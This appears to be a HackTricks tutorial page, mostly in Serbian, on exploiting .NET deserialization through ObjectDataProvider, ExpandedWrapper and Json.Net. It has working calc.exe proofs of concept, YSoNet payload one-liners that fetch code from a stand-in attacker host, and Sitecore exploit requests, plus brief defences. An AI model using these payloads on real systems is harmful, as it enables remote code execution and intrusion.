Osnovna .Net deserializacija (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Reading time: 9 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Ovaj post je posvećen razumevanju kako se gadget ObjectDataProvider eksploatiše da bi se dobio RCE i kako se Serialization biblioteke Json.Net i xmlSerializer mogu zloupotrebiti sa tim gadgetom.
ObjectDataProvider Gadget
Iz dokumentacije: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Da, čudno objašnjenje, pa da vidimo šta ta klasa ima što je toliko interesantno: Ova klasa dozvoljava da obuhvatite proizvoljan objekat, koristite MethodParameters da postavite proizvoljne parametre, i zatim koristite MethodName da pozovete proizvoljnu funkciju tog proizvoljnog objekta navedenu koristeći te proizvoljne parametre.
Dakle, proizvoljni objekat će izvršiti metodu sa parametrima tokom deserializacije.
Kako je to moguće
Namespace System.Windows.Data, koji se nalazi u PresentationFramework.dll na C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, je mesto gde je ObjectDataProvider definisan i implementiran.
Korišćenjem dnSpy možete pregledati kod klase koja nas zanima. Na slici ispod vidimo kod PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Ime metode
.png)
Kao što možete primetiti, kada je MethodName postavljen poziva se base.Refresh(), hajde da pogledamo šta to radi:
.png)
Ok, nastavimo da vidimo šta radi this.BeginQuery(). BeginQuery je overridovan u ObjectDataProvider i ovo je ono što radi:
.png)
Obratite pažnju da na kraju koda poziva this.QueryWorke(null). Pogledajmo šta to izvršava:
.png)
Imajte na umu da ovo nije kompletan kod funkcije QueryWorker ali prikazuje njen zanimljiv deo: Kod poziva this.InvokeMethodOnInstance(out ex); ovo je linija gde se podešena metoda poziva.
Ako želite da proverite da samo postavljanje MethodName će biti izvršeno, možete pokrenuti ovaj kod:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll in order to load System.Windows.Data
ExpandedWrapper
Koristeći prethodni exploit postaće slučajevi gde će object biti deserialized as instanca ObjectDataProvider (na primer u DotNetNuke vuln, koristeći XmlSerializer, objekat je deserializovan koristeći GetType). Then, will have no knowledge of the object type that is wrapped in the ObjectDataProvider instance (Process for example). You can find more information about the DotNetNuke vuln here.
Ova klasa omogućava da se odrede tipovi objekata koji su enkapsulirani u datoj instanci. Dakle, ova klasa može da se koristi za enkapsulaciju izvornog objekta (ObjectDataProvider) u novi tip objekta i da obezbedi svojstva koja su nam potrebna (ObjectDataProvider.MethodName i ObjectDataProvider.MethodParameters).
Ovo je veoma korisno za slučajeve kao što je prethodno predstavljen, jer ćemo moći da wrap ObjectDataProvider inside an ExpandedWrapper instance i when deserialized ova klasa će create OjectDataProvider objekat koji će execute funkciju označenu u MethodName.
You can check this wrapper with the following code:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Na službenoj veb stranici navodi se da ova biblioteka omogućava serijalizaciju i deserijalizaciju bilo kog .NET objekta pomoću moćnog JSON serijalizatora Json.NET-a. Dakle, ako bismo mogli deserijalizovati ObjectDataProvider gadget, mogli bismo izazvati RCE samo deserijalizacijom objekta.
Json.Net primer
Prvo, pogledajmo primer kako da serijalizujemo/deserijalizujemo objekat koristeći ovu biblioteku:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Zloupotreba Json.Net
Koristeći ysoserial.net napravio sam exploit:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
U ovom kodu možete testirati exploit, samo ga pokrenite i videćete da se izvršava calc:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
Tehnika ObjectDataProvider + ExpandedWrapper predstavljena gore je samo jedna od MNOGИХ gadget chain-ova koje je moguće zloupotrebiti kada aplikacija izvršava unsafe .NET deserialization. Moderni red-team alati kao što su YSoNet (i stariji ysoserial.net) automatizuju kreiranje spremnih za upotrebu malicioznih grafova objekata za desetine gadget-a i formata serijalizacije.
Ispod je sažeti referentni pregled najkorisnijih lanaca koji dolaze sa YSoNet zajedno sa kratkim objašnjenjem kako rade i primer komandnih linija za generisanje payload-a.
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|---|---|---|---|
| TypeConfuseDelegate | Korumpira zapis DelegateSerializationHolder tako da, kada se materializuje, delegat pokazuje na bilo koju metodu koju napadač obezbedi (npr. Process.Start) | BinaryFormatter, SoapFormatter, NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
| ActivitySurrogateSelector | Zloupotrebljava System.Workflow.ComponentModel.ActivitySurrogateSelector da zaobiđe .NET ≥4.8 type-filtering i direktno pozove konstruktor date klase ili kompajlira C# fajl u letu | BinaryFormatter, NetDataContractSerializer, LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
| DataSetOldBehaviour | Iskorištava legacy XML reprezentaciju System.Data.DataSet da instancira proizvoljne tipove popunjavanjem polja <ColumnMapping> / <DataType> (opciono lažirajući assembly sa --spoofedAssembly) | LosFormatter, BinaryFormatter, XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
| GetterCompilerResults | Na runtime-ovima sa WPF (> .NET 5) lančano poziva gettere svojstava dok ne dosegne System.CodeDom.Compiler.CompilerResults, zatim kompajlira ili učitava DLL prosleđen sa -c | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
| ObjectDataProvider (review) | Koristi WPF System.Windows.Data.ObjectDataProvider za pozivanje proizvoljne statičke metode sa kontrolisanim argumentima. YSoNet dodaje zgodnu --xamlurl varijantu da hostuje maliciozni XAML udaljeno | BinaryFormatter, Json.NET, XAML, etc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
| PSObject (CVE-2017-8565) | Umeće ScriptBlock u System.Management.Automation.PSObject koji se izvršava kada PowerShell deserijalizuje objekat | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
Svi payloadi se po defaultu pišu na stdout, što olakšava njihovo prosleđivanje u druge alate (npr. ViewState generators, base64 encoders, HTTP clients).
Kompajliranje / instalacija YSoNet
Ako nema prekompajliranih binarnih fajlova dostupnih pod Actions ➜ Artifacts / Releases, sledeći PowerShell one-liner će podesiti build okruženje, klonirati repozitorijum i kompajlirati sve u Release modu:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
The compiled ysonet.exe can then be found under ysonet/bin/Release/.
Otkrivanje i zaštita
- Detektuj neočekivane podprocese
w3wp.exe,PowerShell.exe, ili bilo kog procesa koji deserijalizuje podatke koje dostavi korisnik (npr.MessagePack,Json.NET). - Omogući i primeni filtriranje tipova (
TypeFilterLevel= Full, customSurrogateSelector,SerializationBinder, etc.) kad se stariBinaryFormatter/NetDataContractSerializerne može ukloniti. - Kad je moguće, pređite na
System.Text.JsoniliDataContractJsonSerializersa konverterima zasnovanim na beloj listi. - Blokirajte opasne WPF assembly-je (
PresentationFramework,System.Workflow.*) da se ne bi učitavali u web procesima kojima nisu potrebni.
Stvarni primer sinka: Sitecore convertToRuntimeHtml → BinaryFormatter
Praktičan .NET sink dostupan u autentifikovanim Sitecore XP Content Editor tokovima:
- Sink API:
Sitecore.Convert.Base64ToObject(string)pozivanew BinaryFormatter().Deserialize(...). - Put okidanja: pipeline
convertToRuntimeHtml→ConvertWebControls, koji traži susedni element said="{iframeId}_inner"i čita atributvaluekoji se tretira kao base64‑kodirani serijalizovani podaci. Rezultat se kastuje u string i ubacuje u HTML.
Minimalni end‑to‑end (autentifikovano):
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: bilo koji BinaryFormatter lanac koji vraća string (side‑effects se izvršavaju tokom deserializacije). Pogledajte YSoNet/ysoserial.net za generisanje payloads.
Za potpuni lanac koji počinje pre‑auth sa HTML cache poisoning u Sitecore i vodi do ovog sink-a:
Reference
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks